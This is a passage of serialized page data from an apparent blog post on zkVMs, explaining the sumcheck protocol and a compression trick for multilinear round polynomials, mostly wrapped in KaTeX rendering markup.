482},{"type":31,"value":110669}," evaluations. This is exponentially expensive.",{"type":25,"tag":34,"props":110671,"children":110672},{},[110673,110675,110680],{"type":31,"value":110674},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":25,"tag":1252,"props":110676,"children":110677},{},[110678],{"type":31,"value":110679},"only one",{"type":31,"value":80},{"type":25,"tag":34,"props":110682,"children":110683},{},[110684],{"type":25,"tag":127,"props":110685,"children":110688},{"alt":110686,"src":110687},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":25,"tag":34,"props":110690,"children":110691},{},[110692,110694,110786,110788,110973,110975,111000,111002,111080,111082,111161],{"type":31,"value":110693},"In each round, the prover must send a polynomial ",{"type":25,"tag":115,"props":110695,"children":110697},{"className":110696},[5485,5486],[110698],{"type":25,"tag":201,"props":110699,"children":110701},{"className":110700},[5491],[110702],{"type":25,"tag":201,"props":110703,"children":110705},{"className":110704,"ariaHidden":5497},[5496],[110706],{"type":25,"tag":201,"props":110707,"children":110709},{"className":110708},[5502],[110710,110714,110771,110776,110781],{"type":25,"tag":201,"props":110711,"children":110713},{"className":110712,"style":5614},[5507],[],{"type":25,"tag":201,"props":110715,"children":110717},{"className":110716},[5513],[110718,110723],{"type":25,"tag":201,"props":110719,"children":110721},{"className":110720,"style":94617},[5513,23083],[110722],{"type":31,"value":110382},{"type":25,"tag":201,"props":110724,"children":110726},{"className":110725},[5529],[110727],{"type":25,"tag":201,"props":110728,"children":110730},{"className":110729},[5534,23137],[110731,110760],{"type":25,"tag":201,"props":110732,"children":110734},{"className":110733},[5539],[110735,110755],{"type":25,"tag":201,"props":110736,"children":110738},{"className":110737,"style":94660},[5544],[110739],{"type":25,"tag":201,"props":110740,"children":110741},{"style":94664},[110742,110746],{"type":25,"tag":201,"props":110743,"children":110745},{"className":110744,"style":5554},[5553],[],{"type":25,"tag":201,"props":110747,"children":110749},{"className":110748},[5559,5560,5561,5562],[110750],{"type":25,"tag":201,"props":110751,"children":110753},{"className":110752},[5513,23083,5562],[110754],{"type":31,"value":3641},{"type":25,"tag":201,"props":110756,"children":110758},{"className":110757},[23240],[110759],{"type":31,"value":23243},{"type":25,"tag":201,"props":110761,"children":110763},{"className":110762},[5539],[110764],{"type":25,"tag":201,"props":110765,"children":110767},{"className":110766,"style":94214},[5544],[110768],{"type":25,"tag":201,"props":110769,"children":110770},{},[],{"type":25,"tag":201,"props":110772,"children":110774},{"className":110773},[23212],[110775],{"type":31,"value":298},{"type":25,"tag":201,"props":110777,"children":110779},{"className":110778,"style":96151},[5513,23083],[110780],{"type":31,"value":7641},{"type":25,"tag":201,"props":110782,"children":110784},{"className":110783},[23234],[110785],{"type":31,"value":3073},{"type":31,"value":110787}," such that ",{"type":25,"tag":115,"props":110789,"children":110791},{"className":110790},[5485,5486],[110792],{"type":25,"tag":201,"props":110793,"children":110795},{"className":110794},[5491],[110796],{"type":25,"tag":201,"props":110797,"children":110799},{"className":110798,"ariaHidden":5497},[5496],[110800,110893],{"type":25,"tag":201,"props":110801,"children":110803},{"className":110802},[5502],[110804,110808,110865,110870,110875,110880,110884,110889],{"type":25,"tag":201,"props":110805,"children":110807},{"className":110806,"style":5614},[5507],[],{"type":25,"tag":201,"props":110809,"children":110811},{"className":110810},[5513],[110812,110817],{"type":25,"tag":201,"props":110813,"children":110815},{"className":110814,"style":94617},[5513,23083],[110816],{"type":31,"value":110382},{"type":25,"tag":201,"props":110818,"children":110820},{"className":110819},[5529],[110821],{"type":25,"tag":201,"props":110822,"children":110824},{"className":110823},[5534,23137],[110825,110854],{"type":25,"tag":201,"props":110826,"children":110828},{"className":110827},[5539],[110829,110849],{"type":25,"tag":201,"props":110830,"children":110832},{"className":110831,"style":94660},[5544],[110833],{"type":25,"tag":201,"props":110834,"children":110835},{"style":94664},[110836,110840],{"type":25,"tag":201,"props":110837,"children":110839},{"className":110838,"style":5554},[5553],[],{"type":25,"tag":201,"props":110841,"children":110843},{"className":110842},[5559,5560,5561,5562],[110844],{"type":25,"tag":201,"props":110845,"children":110847},{"className":110846},[5513,23083,5562],[110848],{"type":31,"value":3641},{"type":25,"tag":201,"props":110850,"children":110852},{"className":110851},[23240],[110853],{"type":31,"value":23243},{"type":25,"tag":201,"props":110855,"children":110857},{"className":110856},[5539],[110858],{"type":25,"tag":201,"props":110859,"children":110861},{"className":110860,"style":94214},[5544],[110862],{"type":25,"tag":201,"props":110863,"children":110864},{},[],{"type":25,"tag":201,"props":110866,"children":110868},{"className":110867},[23212],[110869],{"type":31,"value":298},{"type":25,"tag":201,"props":110871,"children":110873},{"className":110872},[5513],[110874],{"type":31,"value":429},{"type":25,"tag":201,"props":110876,"children":110878},{"className":110877},[23234],[110879],{"type":31,"value":3073},{"type":25,"tag":201,"props":110881,"children":110883},{"className":110882,"style":5594},[5593],[],{"type":25,"tag":201,"props":110885,"children":110887},{"className":110886},[5599],[110888],{"type":31,"value":5886},{"type":25,"tag":201,"props":110890,"children":110892},{"className":110891,"style":5594},[5593],[],{"type":25,"tag":201,"props":110894,"children":110896},{"className":110895},[5502],[110897,110901,110958,110963,110968],{"type":25,"tag":201,"props":110898,"children":110900},{"className":110899,"style":5614},[5507],[],{"type":25,"tag":201,"props":110902,"children":110904},{"className":110903},[5513],[110905,110910],{"type":25,"tag":201,"props":110906,"children":110908},{"className":110907,"style":94617},[5513,23083],[110909],{"type":31,"value":110382},{"type":25,"tag":201,"props":110911,"children":110913},{"className":110912},[5529],[110914],{"type":25,"tag":201,"props":110915,"children":110917},{"className":110916},[5534,23137],[110918,110947],{"type":25,"tag":201,"props":110919,"children":110921},{"className":110920},[5539],[110922,110942],{"type":25,"tag":201,"props":110923,"children":110925},{"className":110924,"style":94660},[5544],[110926],{"type":25,"tag":201,"props":110927,"children":110928},{"style":94664},[110929,110933],{"type":25,"tag":201,"props":110930,"children":110932},{"className":110931,"style":5554},[5553],[],{"type":25,"tag":201,"props":110934,"children":110936},{"className":110935},[5559,5560,5561,5562],[110937],{"type":25,"tag":201,"props":110938,"children":110940},{"className":110939},[5513,23083,5562],[110941],{"type":31,"value":3641},{"type":25,"tag":201,"props":110943,"children":110945},{"className":110944},[23240],[110946],{"type":31,"value":23243},{"type":25,"tag":201,"props":110948,"children":110950},{"className":110949},[5539],[110951],{"type":25,"tag":201,"props":110952,"children":110954},{"className":110953,"style":94214},[5544],[110955],{"type":25,"tag":201,"props":110956,"children":110957},{},[],{"type":25,"tag":201,"props":110959,"children":110961},{"className":110960},[23212],[110962],{"type":31,"value":298},{"type":25,"tag":201,"props":110964,"children":110966},{"className":110965},[5513],[110967],{"type":31,"value":5516},{"type":25,"tag":201,"props":110969,"children":110971},{"className":110970},[23234],[110972],{"type":31,"value":3073},{"type":31,"value":110974}," equals the previous claim. If the prover is lying about the original sum ",{"type":25,"tag":115,"props":110976,"children":110978},{"className":110977},[5485,5486],[110979],{"type":25,"tag":201,"props":110980,"children":110982},{"className":110981},[5491],[110983],{"type":25,"tag":201,"props":110984,"children":110986},{"className":110985,"ariaHidden":5497},[5496],[110987],{"type":25,"tag":201,"props":110988,"children":110990},{"className":110989},[5502],[110991,110995],{"type":25,"tag":201,"props":110992,"children":110994},{"className":110993,"style":23078},[5507],[],{"type":25,"tag":201,"props":110996,"children":110998},{"className":110997,"style":94365},[5513,23083],[110999],{"type":31,"value":94368},{"type":31,"value":111001},", then they must lie about ",{"type":25,"tag":115,"props":111003,"children":111005},{"className":111004},[5485,5486],[111006],{"type":25,"tag":201,"props":111007,"children":111009},{"className":111008},[5491],[111010],{"type":25,"tag":201,"props":111011,"children":111013},{"className":111012,"ariaHidden":5497},[5496],[111014],{"type":25,"tag":201,"props":111015,"children":111017},{"className":111016},[5502],[111018,111023],{"type":25,"tag":201,"props":111019,"children":111022},{"className":111020,"style":111021},[5507],"height:0.625em;vertical-align:-0.1944em;",[],{"type":25,"tag":201,"props":111024,"children":111026},{"className":111025},[5513],[111027,111032],{"type":25,"tag":201,"props":111028,"children":111030},{"className":111029,"style":94617},[5513,23083],[111031],{"type":31,"value":110382},{"type":25,"tag":201,"props":111033,"children":111035},{"className":111034},[5529],[111036],{"type":25,"tag":201,"props":111037,"children":111039},{"className":111038},[5534,23137],[111040,111069],{"type":25,"tag":201,"props":111041,"children":111043},{"className":111042},[5539],[111044,111064],{"type":25,"tag":201,"props":111045,"children":111047},{"className":111046,"style":94660},[5544],[111048],{"type":25,"tag":201,"props":111049,"children":111050},{"style":94664},[111051,111055],{"type":25,"tag":201,"props":111052,"children":111054},{"className":111053,"style":5554},[5553],[],{"type":25,"tag":201,"props":111056,"children":111058},{"className":111057},[5559,5560,5561,5562],[111059],{"type":25,"tag":201,"props":111060,"children":111062},{"className":111061},[5513,23083,5562],[111063],{"type":31,"value":3641},{"type":25,"tag":201,"props":111065,"children":111067},{"className":111066},[23240],[111068],{"type":31,"value":23243},{"type":25,"tag":201,"props":111070,"children":111072},{"className":111071},[5539],[111073],{"type":25,"tag":201,"props":111074,"children":111076},{"className":111075,"style":94214},[5544],[111077],{"type":25,"tag":201,"props":111078,"children":111079},{},[],{"type":31,"value":111081}," somewhere. But since the verifier picks a random ",{"type":25,"tag":115,"props":111083,"children":111085},{"className":111084},[5485,5486],[111086],{"type":25,"tag":201,"props":111087,"children":111089},{"className":111088},[5491],[111090],{"type":25,"tag":201,"props":111091,"children":111093},{"className":111092,"ariaHidden":5497},[5496],[111094],{"type":25,"tag":201,"props":111095,"children":111097},{"className":111096},[5502],[111098,111103],{"type":25,"tag":201,"props":111099,"children":111102},{"className":111100,"style":111101},[5507],"height:0.5806em;vertical-align:-0.15em;",[],{"type":25,"tag":201,"props":111104,"children":111106},{"className":111105},[5513],[111107,111112],{"type":25,"tag":201,"props":111108,"children":111110},{"className":111109,"style":94131},[5513,23083],[111111],{"type":31,"value":94950},{"type":25,"tag":201,"props":111113,"children":111115},{"className":111114},[5529],[111116],{"type":25,"tag":201,"props":111117,"children":111119},{"className":111118},[5534,23137],[111120,111150],{"type":25,"tag":201,"props":111121,"children":111123},{"className":111122},[5539],[111124,111145],{"type":25,"tag":201,"props":111125,"children":111127},{"className":111126,"style":94660},[5544],[111128],{"type":25,"tag":201,"props":111129,"children":111131},{"style":111130},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[111132,111136],{"type":25,"tag":201,"props":111133,"children":111135},{"className":111134,"style":5554},[5553],[],{"type":25,"tag":201,"props":111137,"children":111139},{"className":111138},[5559,5560,5561,5562],[111140],{"type":25,"tag":201,"props":111141,"children":111143},{"className":111142},[5513,23083,5562],[111144],{"type":31,"value":3641},{"type":25,"tag":201,"props":111146,"children":111148},{"className":111147},[23240],[111149],{"type":31,"value":23243},{"type":25,"tag":201,"props":111151,"children":111153},{"className":111152},[5539],[111154],{"type":25,"tag":201,"props":111155,"children":111157},{"className":111156,"style":94214},[5544],[111158],{"type":25,"tag":201,"props":111159,"children":111160},{},[],{"type":31,"value":111162},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":25,"tag":20392,"props":111164,"children":111166},{"id":111165},"the-compression-trick",[111167],{"type":31,"value":111168},"The Compression Trick",{"type":25,"tag":34,"props":111170,"children":111171},{},[111172,111174,111324,111326,111606],{"type":31,"value":111173},"For degree-1 (multilinear) polynomials, ",{"type":25,"tag":115,"props":111175,"children":111177},{"className":111176},[5485,5486],[111178],{"type":25,"tag":201,"props":111179,"children":111181},{"className":111180},[5491],[111182],{"type":25,"tag":201,"props":111183,"children":111185},{"className":111184,"ariaHidden":5497},[5496],[111186,111279,111306],{"type":25,"tag":201,"props":111187,"children":111189},{"className":111188},[5502],[111190,111194,111251,111256,111261,111266,111270,111275],{"type":25,"tag":201,"props":111191,"children":111193},{"className":111192,"style":5614},[5507],[],{"type":25,"tag":201,"props":111195,"children":111197},{"className":111196},[5513],[111198,111203],{"type":25,"tag":201,"props":111199,"children":111201},{"className":111200,"style":94617},[5513,23083],[111202],{"type":31,"value":110382},{"type":25,"tag":201,"props":111204,"children":111206},{"className":111205},[5529],[111207],{"type":25,"tag":201,"props":111208,"children":111210},{"className":111209},[5534,23137],[111211,111240],{"type":25,"tag":201,"props":111212,"children":111214},{"className":111213},[5539],[111215,111235],{"type":25,"tag":201,"props":111216,"children":111218},{"className":111217,"style":94660},[5544],[111219],{"type":25,"tag":201,"props":111220,"children":111221},{"style":94664},[111222,111226],{"type":25,"tag":201,"props":111223,"children":111225},{"className":111224,"style":5554},[5553],[],{"type":25,"tag":201,"props":111227,"children":111229},{"className":111228},[5559,5560,5561,5562],[111230],{"type":25,"tag":201,"props":111231,"children":111233},{"className":111232},[5513,23083,5562],[111234],{"type":31,"value":3641},{"type":25,"tag":201,"props":111236,"children":111238},{"className":111237},[23240],[111239],{"type":31,"value":23243},{"type":25,"tag":201,"props":111241,"children":111243},{"className":111242},[5539],[111244],{"type":25,"tag":201,"props":111245,"children":111247},{"className":111246,"style":94214},[5544],[111248],{"type":25,"tag":201,"props":111249,"children":111250},{},[],{"type":25,"tag":201,"props":111252,"children":111254},{"className":111253},[23212],[111255],{"type":31,"value":298},{"type":25,"tag":201,"props":111257,"children":111259},{"className":111258,"style":96151},[5513,23083],[111260],{"type":31,"value":7641},{"type":25,"tag":201,"props":111262,"children":111264},{"className":111263},[23234],[111265],{"type":31,"value":3073},{"type":25,"tag":201,"props":111267,"children":111269},{"className":111268,"style":5691},[5593],[],{"type":25,"tag":201,"props":111271,"children":111273},{"className":111272},[5696],[111274],{"type":31,"value":1383},{"type":25,"tag":201,"props":111276,"children":111278},{"className":111277,"style":5691},[5593],[],{"type":25,"tag":201,"props":111280,"children":111282},{"className":111281},[5502],[111283,111288,111293,111297,111302],{"type":25,"tag":201,"props":111284,"children":111287},{"className":111285,"style":111286},[5507],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":25,"tag":201,"props":111289,"children":111291},{"className":111290},[5513,23083],[111292],{"type":31,"value":71},{"type":25,"tag":201,"props":111294,"children":111296},{"className":111295,"style":5594},[5593],[],{"type":25,"tag":201,"props":111298,"children":111300},{"className":111299},[5599],[111301],{"type":31,"value":5886},{"type":25,"tag":201,"props":111303,"children":111305},{"className":111304,"style":5594},[5593],[],{"type":25,"tag":201,"props":111307,"children":111309},{"className":111308},[5502],[111310,111314,111319],{"type":25,"tag":201,"props":111311,"children":111313},{"className":111312,"style":94046},[5507],[],{"type":25,"tag":201,"props":111315,"children":111317},{"className":111316},[5513,23083],[111318],{"type":31,"value":4729},{"type":25,"tag":201,"props":111320,"children":111322},{"className":111321,"style":96151},[5513,23083],[111323],{"type":31,"value":7641},{"type":31,"value":111325}," has only two coefficients. Since the verifier knows ",{"type":25,"tag":115,"props":111327,"children":111329},{"className":111328},[5485,5486],[111330],{"type":25,"tag":201,"props":111331,"children":111333},{"className":111332},[5491],[111334],{"type":25,"tag":201,"props":111335,"children":111337},{"className":111336,"ariaHidden":5497},[5496],[111338,111431,111524],{"type":25,"tag":201,"props":111339,"children":111341},{"className":111340},[5502],[111342,111346,111403,111408,111413,111418,111422,111427],{"type":25,"tag":201,"props":111343,"children":111345},{"className":111344,"style":5614},[5507],[],{"type":25,"tag":201,"props":111347,"children":111349},{"className":111348},[5513],[111350,111355],{"type":25,"tag":201,"props":111351,"children":111353},{"className":111352,"style":94617},[5513,23083],[111354],{"type":31,"value":110382},{"type":25,"tag":201,"props":111356,"children":111358},{"className":111357},[5529],[111359],{"type":25,"tag":201,"props":111360,"children":111362},{"className":111361},[5534,23137],[111363,111392],{"type":25,"tag":201,"props":111364,"children":111366},{"className":111365},[5539],[111367,111387],{"type":25,"tag":201,"props":111368,"children":111370},{"className":111369,"style":94660},[5544],[111371],{"type":25,"tag":201,"props":111372,"children":111373},{"style":94664},[111374,111378],{"type":25,"tag":201,"props":111375,"children":111377},{"className":111376,"style":5554},[5553],[],{"type":25,"tag":201,"props":111379,"children":111381},{"className":111380},[5559,5560,5561,5562],[111382],{"type":25,"tag":201,"props":111383,"children":111385},{"className":111384},[5513,23083,5562],[111386],{"type":31,"value":3641},{"type":25,"tag":201,"props":111388,"children":111390},{"className":111389},[23240],[111391],{"type":31,"value":23243},{"type":25,"tag":201,"props":111393,"children":111395},{"className":111394},[5539],[111396],{"type":25,"tag":201,"props":111397,"children":111399},{"className":111398,"style":94214},[5544],[111400],{"type":25,"tag":201,"props":111401,"children":111402},{},[],{"type":25,"tag":201,"props":111404,"children":111406},{"className":111405},[23212],[111407],{"type":31,"value":298},{"type":25,"tag":201,"props":111409,"children":111411},{"className":111410},[5513],[111412],{"type":31,"value":429},{"type":25,"tag":201,"props":111414,"children":111416},{"className":111415},[23234],[111417],{"type":31,"value":3073},{"type":25,"tag":201,"props":111419,"children":111421},{"className":111420,"style":5594},[5593],[],{"type":25,"tag":201,"props":111423,"children":111425},{"className":111424},[5599],[111426],{"type":31,"value":5886},{"type":25,"tag":201,"props":111428,"children":111430},{"className":111429,"style":5594},[5593],[],{"type":25,"tag":201,"props":111432,"children":111434},{"className":111433},[5502],[111435,111439,111496,111501,111506,111511,111515,111520],{"type":25,"tag":201,"props":111436,"children":111438},{"className":111437,"style":5614},[5507],[],{"type":25,"tag":201,"props":111440,"children":111442},{"className":111441},[5513],[111443,111448],{"type":25,"tag":201,"props":111444,"children":111446},{"className":111445,"style":94617},[5513,23083],[111447],{"type":31,"value":110382},{"type":25,"tag":201,"props":111449,"children":111451},{"className":111450},[5529],[111452],{"type":25,"tag":201,"props":111453,"children":111455},{"className":111454},[5534,23137],[111456,111485],{"type":25,"tag":201,"props":111457,"children":111459},{"className":111458},[5539],[111460,111480],{"type":25,"tag":201,"props":111461,"children":111463},{"className":111462,"style":94660},[5544],[111464],{"type":25,"tag":201,"props":111465,"children":111466},{"style":94664},[111467,111471],{"type":25,"tag":201,"props":111468,"children":111470},{"className":111469,"style":5554},[5553],[],{"type":25,"tag":201,"props":111472,"children":111474},{"className":111473},[5559,5560,5561,5562],[111475],{"type":25,"tag":201,"props":111476,"children":111478},{"className":111477},[5513,23083,5562],[111479],{"type":31,"value":3641},{"type":25,"tag":201,"props":111481,"children":111483},{"className":111482},[23240],[111484],{"type":31,"value":23243},{"type":25,"tag":201,"props":111486,"children":111488},{"className":111487},[5539],[111489],{"type":25,"tag":201,"props":111490,"children":111492},{"className":111491,"style":94214},[5544],[111493],{"type":25,"tag":201,"props":111494,"children":111495},{},[],{"type":25,"tag":201,"props":111497,"children":111499},{"className":111498},[23212],[111500],{"type":31,"value":298},{"type":25,"tag":201,"props":111502,"children":111504},{"className":111503},[5513],[111505],{"type":31,"value":5516},{"type":25,"tag":201,"props":111507,"children":111509},{"className":111508},[23234],[111510],{"type":31,"value":3073},{"type":25,"tag":201,"props":111512,"children":111514},{"className":111513,"style":5691},[5593],[],{"type":25,"tag":201,"props":111516,"children":111518},{"className":111517},[5696],[111519],{"type":31,"value":1383},{"type":25,"tag":201,"props":111521,"children":111523},{"className":111522,"style":5691},[5593],[],{"type":25,"tag":201,"props":111525,"children":111527},{"className":111526},[5502],[111528,111533],{"type":25,"tag":201,"props":111529,"children":111532},{"className":111530,"style":111531},[5507],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":25,"tag":201,"props":111534,"children":111536},{"className":111535},[5513],[111537,111542],{"type":25,"tag":201,"props":111538,"children":111540},{"className":111539,"style":94365},[5513,23083],[111541],{"type":31,"value":94368},{"type":25,"tag":201,"props":111543,"children":111545},{"className":111544},[5529],[111546],{"type":25,"tag":201,"props":111547,"children":111549},{"className":111548},[5534,23137],[111550,111594],{"type":25,"tag":201,"props":111551,"children":111553},{"className":111552},[5539],[111554,111589],{"type":25,"tag":201,"props":111555,"children":111557},{"className":111556,"style":94660},[5544],[111558],{"type":25,"tag":201,"props":111559,"children":111561},{"style":111560},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[111562,111566],{"type":25,"tag":201,"props":111563,"children":111565},{"className":111564,"style":5554},[5553],[],{"type":25,"tag":201,"props":111567,"children":111569},{"className":111568},[5559,5560,5561,5562],[111570],{"type":25,"tag":201,"props":111571,"children":111573},{"className":111572},[5513,5562],[111574,111579,111584],{"type":25,"tag":201,"props":111575,"children":111577},{"className":111576},[5513,23083,5562],[111578],{"type":31,"value":3641},{"type":25,"tag":201,"props":111580,"children":111582},{"className":111581},[5599,5562],[111583],{"type":31,"value":5573},{"type":25,"tag":201,"props":111585,"children":111587},{"className":111586},[5513,5562],[111588],{"type":31,"value":5516},{"type":25,"tag":201,"props":111590,"children":111592},{"className":111591},[23240],[111593],{"type":31,"value":23243},{"type":25,"tag":201,"props":111595,"children":111597},{"className":111596},[5539],[111598],{"type":25,"tag":201,"props":111599,"children":111602},{"className":111600,"style":111601},[5544],"height:0.2083em;",[111603],{"type":25,"tag":201,"props":111604,"children":111605},{},[],{"type":31,"value":111607}," (the previous claim), we have:",{"type":25,"tag":34,"props":111609,"children":111610},{},[111611],{"type":25,"tag":115,"props":111612,"children":111614},{"className":111613},[5485,5486],[111615],{"type":25,"tag":201,"props":111616,"children":111618},{"className":111617},[5491],[111619],{"type":25,"tag":201,"props":111620,"children":111622},{"className":111621,"ariaHidden":5497},[5496],[111623,111649,111680,111711,111812,111838,111930],{"type":25,"tag":201,"props":111624,"children":111626},{"className":111625},[5502],[111627,111631,111636,111640,111645],{"type":25,"tag":201,"props":111628,"children":111630},{"className":111629,"style":111286},[5507],[],{"type":25,"tag":201,"props":111632,"children":111634},{"className":111633},[5513,23083],[111635],{"type":31,"value":71},{"type":25,"tag":201,"props":111637,"children":111639},{"className":111638,"style":5594},[5593],[],{"type":25,"tag":201,"props":111641,"children":111643},{"className":111642},[5599],[111644],{"type":31,"value":5886},{"type":25,"tag":201,"props":111646,"children":111648},{"className":111647,"style":5594},[5593],[],{"type":25,"tag":201,"props":111650,"children":111652},{"className":111651},[5502],[111653,111657,111662,111667,111671,111676],{"type":25,"tag":201,"props":111654,"children":111656},{"className":111655,"style":5614},[5507],[],{"type":25,"tag":201,"props":111658,"children":111660},{"className":111659},[23212],[111661],{"type":31,"value":298},{"type":25,"tag":201,"props":111663,"children":111665},{"className":111664},[5513,23083],[111666],{"type":31,"value":71},{"type":25,"tag":201,"props":111668,"children":111670},{"className":111669,"style":5594},[5593],[],{"type":25,"tag":201,"props":111672,"children":111674},{"className":111673},[5599],[111675],{"type":31,"value":5886},{"type":25,"tag":201,"props":111677,"children":111679},{"className":111678,"style":5594},[5593],[],{"type":25,"tag":201,"props":111681,"children":111683},{"className":111682},[5502],[111684,111688,111693,111698,111702,111707],{"type":25,"tag":201,"props":111685,"children":111687},{"className":111686,"style":5614},[5507],[],{"type":25,"tag":201,"props":111689,"children":111691},{"className":111690},[5513,23083],[111692],{"type":31,"value":4729},{"type":25,"tag":201,"props":111694,"children":111696},{"className":111695},[23234],[111697],{"type":31,"value":3073},{"type":25,"tag":201,"props":111699,"children":111701},{"className":111700,"style":5691},[5593],[],{"type":25,"tag":201,"props":111703,"children":111705},{"className":111704},[5696],[111706],{"type":31,"value":1383},{"type":25,"tag":201,"props":111708,"children":111710},{"className":111709,"style":5691},[5593],[],{"type":25,"tag":201,"props":111712,"children":111714},{"className":111713},[5502],[111715,111719,111790,111794,111798,111804,111808],{"type":25,"tag":201,"props":111716,"children":111718},{"className":111717,"style":111531},[5507],[],{"type":25,"tag":201,"props":111720,"children":111722},{"className":111721},[5513],[111723,111728],{"type":25,"tag":201,"props":111724,"children":111726},{"className":111725,"style":94365},[5513,23083],[111727],{"type":31,"value":94368},{"type":25,"tag":201,"props":111729,"children":111731},{"className":111730},[5529],[111732],{"type":25,"tag":201,"props":111733,"children":111735},{"className":111734},[5534,23137],[111736,111779],{"type":25,"tag":201,"props":111737,"children":111739},{"className":111738},[5539],[111740,111774],{"type":25,"tag":201,"props":111741,"children":111743},{"className":111742,"style":94660},[5544],[111744],{"type":25,"tag":201,"props":111745,"children":111746},{"style":111560},[111747,111751],{"type":25,"tag":201,"props":111748,"children":111750},{"className":111749,"style":5554},[5553],[],{"type":25,"tag":201,"props":111752,"children":111754},{"className":111753},[5559,5560,5561,5562],[111755],{"type":25,"tag":201,"props":111756,"children":111758},{"className":111757},[5513,5562],[111759,111764,111769],{"type":25,"tag":201,"props":111760,"children":111762},{"className":111761},[5513,23083,5562],[111763],{"type":31,"value":3641},{"type":25,"tag":201,"props":111765,"children":111767},{"className":111766},[5599,5562],[111768],{"type":31,"value":5573},{"type":25,"tag":201,"props":111770,"children":111772},{"className":111771},[5513,5562],[111773],{"type":31,"value":5516},{"type":25,"tag":201,"props":111775,"children":111777},{"className":111776},[23240],[111778],{"type":31,"value":23243},{"type":25,"tag":201,"props":111780,"children":111782},{"className":111781},[5539],[111783],{"type":25,"tag":201,"props":111784,"children":111786},{"className":111785,"style":111601},[5544],[111787],{"type":25,"tag":201,"props":111788,"children":111789},{},[],{"type":25,"tag":201,"props":111791,"children":111793},{"className":111792,"style":5691},[5593],[],{"type":25,"tag":201,"props":111795,"children":111797},{"className":111796,"style":5691},[5593],[],{"type":25,"tag":201,"props":111799,"children":111801},{"className":111800},[5696],[111802],{"type":31,"value":111803},"⟹",{"type":25,"tag":201,"props":111805,"children":111807},{"className":111806,"style":5691},[5593],[],{"type":25,"tag":201,"props":111809,"children":111811},{"className":111810,"style":5691},[5593],[],{"type":25,"tag":201,"props":111813,"children":111815},{"className":111814},[5502],[111816,111820,111825,111829,111834],{"type":25,"tag":201,"props":111817,"children":111819},{"className":111818,"style":94046},[5507],[],{"type":25,"tag":201,"props":111821,"children":111823},{"className":111822},[5513,23083],[111824],{"type":31,"value":4729},{"type":25,"tag":201,"props":111826,"children":111828},{"className":111827,"style":5691},[5593],[],{"type":25,"tag":201,"props":111830,"children":111832},{"className":111831},[5696],[111833],{"type":31,"value":1383},{"type":25,"tag":201,"props":111835,"children":111837},{"className":111836,"style":5691},[5593],[],{"type":25,"tag":201,"props":111839,"children":111841},{"className":111840},[5502],[111842,111846,111917,111921,111926],{"type":25,"tag":201,"props":111843,"children":111845},{"className":111844,"style":111531},[5507],[],{"type":25,"tag":201,"props":111847,"children":111849},{"className":111848},[5513],[111850,111855],{"type":25,"tag":201,"props":111851,"children":111853},{"className":111852,"style":94365},[5513,23083],[111854],{"type":31,"value":94368},{"type":25,"tag":201,"props":111856,"children":111858},{"className":111857},[5529],[111859],{"type":25,"tag":201,"props":111860,"children":111862},{"className":111861},[5534,23137],[111863,111906],{"type":25,"tag":201,"props":111864,"children":111866},{"className":111865},[5539],[111867,111901],{"type":25,"tag":201,"props":111868,"children":111870},{"className":111869,"style":94660},[5544],[111871],{"type":25,"tag":201,"props":111872,"children":111873},{"style":111560},[111874,111878],{"type":25,"tag":201,"props":111875,"children":111877},{"className":111876,"style":5554},[5553],[],{"type":25,"tag":201,"props":111879,"children":111881},{"className":111880},[5559,5560,5561,5562],[111882],{"type":25,"tag":201,"props":111883,"children":111885},{"className":111884},[5513,5562],[111886,111891,111896],{"type":25,"tag":201,"props":111887,"children":111889},{"className":111888},[5513,23083,5562],[111890],{"type":31,"value":3641},{"type":25,"tag":201,"props":111892,"children":111894},{"className":111893},[5599,5562],[111895],{"type":31,"value":5573},{"type":25,"tag":201,"props":111897,"children":111899},{"className":111898},[5513,5562],[111900],{"type":31,"value":5516},{"type":25,"tag":201,"props":111902,"children":111904},{"className":111903},[23240],[111905],{"type":31,"value":23243},{"type":25,"tag":201,"props":111907,"children":111909},{"className":111908},[5539],[111910],{"type":25,"tag":201,"props":111911,"children":111913},{"className":111912,"style":111601},[5544],[111914],{"type":25,"tag":201,"props":111915,"children":111916},{},[],{"type":25,"tag":201,"props":111918,"children":111920},{"className":111919,"style":5594},[5593],[],{"type":25,"tag":201,"props":111922,"children":111924},{"className":111923},[5599],[111925],{"type":31,"value":5573},{"type":25,"tag":201,"props":111927,"children":111929},{"className":111928,"style":5594},[5593],[],{"type":25,"tag":201,"props":111931,"children":111933},{"className":111932},[5502],[111934,111938,111943],{"type":25,"tag":201,"props":111935,"children":111937},{"className":111936,"style":95162},[5507],[],{"type":25,"tag":201,"props":111939,"children":111941},{"className":111940},[5513],[111942],{"type":31,"value":4629},{"type":25,"tag":201,"props":111944,"children":111946},{"className":111945},[5513,23083],[111947],{"type":31,"value":71},{"type":25,"tag":34,"props":111949,"children":111950},{},[111951,111953,112072,112074,112099],{"type":31,"value":111952},"So the prover only sends ",{"type":25,"tag":115,"props":111954,"children":111956},{"className":111955},[5485,5486],[111957],{"type":25,"tag":201,"props":111958,"children":111960},{"className":111959},[5491],[111961],{"type":25,"tag":201,"props":111962,"children":111964},{"className":111963,"ariaHidden":5497},[5496],[111965,111992],{"type":25,"tag":201,"props":111966,"children":111968},{"className":111967},[5502],[111969,111974,111979,111983,111988],{"type":25,"tag":201,"props":111970,"children":111973},{"className":111971,"style":111972},[5507],"height:0.4306em;",[],{"type":25,"tag":201,"props":111975,"children":111977},{"className":111976},[5513,23083],[111978],{"type":31,"value":71},{"type":25,"tag":201,"props":111980,"children":111982},{"className":111981,"style":5691},[5593],[],{"type":25,"tag":201,"props":111984,"children":111986},{"className":111985},[5696],[111987],{"type":31,"value":1383},{"type":25,"tag":201,"props":111989,"children":111991},{"className":111990,"style":5691},[5593],[],{"type":25,"tag":201,"props":111993,"children":111995},{"className":111994},[5502],[111996,112000,112057,112062,112067],{"type":25,"tag":201,"props":111997,"children":111999},{"className":111998,"style":5614},[5507],[],{"type":25,"tag":201,"props":112001,"children":112003},{"className":112002},[5513],[112004,112009],{"type":25,"tag":201,"props":112005,"children":112007},{"className":112006,"style":94617},[5513,23083],[112008],{"type":31,"value":110382},{"type":25,"tag":201,"props":112010,"children":112012},{"className":112011},[5529],[112013],{"type":25,"